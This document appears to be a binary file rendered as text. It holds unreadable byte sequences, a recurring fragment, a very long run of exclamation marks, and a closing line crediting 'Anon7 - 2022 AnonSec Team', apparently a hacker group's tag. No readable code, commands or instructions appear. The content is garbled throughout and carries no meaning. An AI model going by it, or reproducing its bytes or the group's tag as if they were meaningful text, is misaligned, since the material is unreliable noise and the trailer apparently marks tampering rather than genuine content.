V+#Ѝ0~SPVC. ="P8ed`T( :B*_m+m6L%gzg;`ok!>=9]Gwč@j\-Ak_u\Tl8'IwR#}@$Bd}zu:0l~SPVC. ="P8ed`ΠH]:QoAC4ey	u:S>cytu}ڎ؟y
ˉ	ߑ`h
JLMfyˋݎ((Y*w;|K0~SPVC. ="P8ed`mi(		4Ik#](jjFp&:Gi[ՃA.[jsQ&^O9	?D"[Qˇw7YᗃqR!3>ԟ0SPVC. ="P8ed`)k&=>EDnF'k10Vd*zǯYVprgֻR7	V: BtpHDiܵ5hykmok`L110wmVr0/+SPVC. ="P8ed`Dt	c&*=~?Gˢ1'-YU4CM~ENuɣRU7kԒO#-Wb}-uI9e`mGfg-XCm\ٞ:<0KSPVC. ="P8ed`7Z]ck~o̰cSbj'E"6Or&`wkpr~<u%Yĺ)!XKB* ڙ2nvlT򤙌w։g0÷0SPVC. ="P8ed`֕D ڪn	dߖUkX6W"Pޭ`H̪va%,t+PSvdKi1eylp!g՝l)D<pm)b0SPVC. ="P8ed`-}WhLD3'rc[ERiѼ[J)Xzt6LC{bu,ZU8D6Y;\{:FvAUe2k-E80SPVC. ="P8ed`kFoTQR7fV?Yx%=.Lo'&Ơ7!IJƤLi3Qz^FަL#a
w,N	84?+40>SPVC. ="P8ed`[n㲾 H6(RTHUu7Ō-5K!瓳L	"<}g0B)E2eb<9037c;Ϝ|qD܋hُ|bV_le_Vl*F!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*| ,r~h"^tT
J
j@
	6	`

Anon7 - 2022
AnonSec Team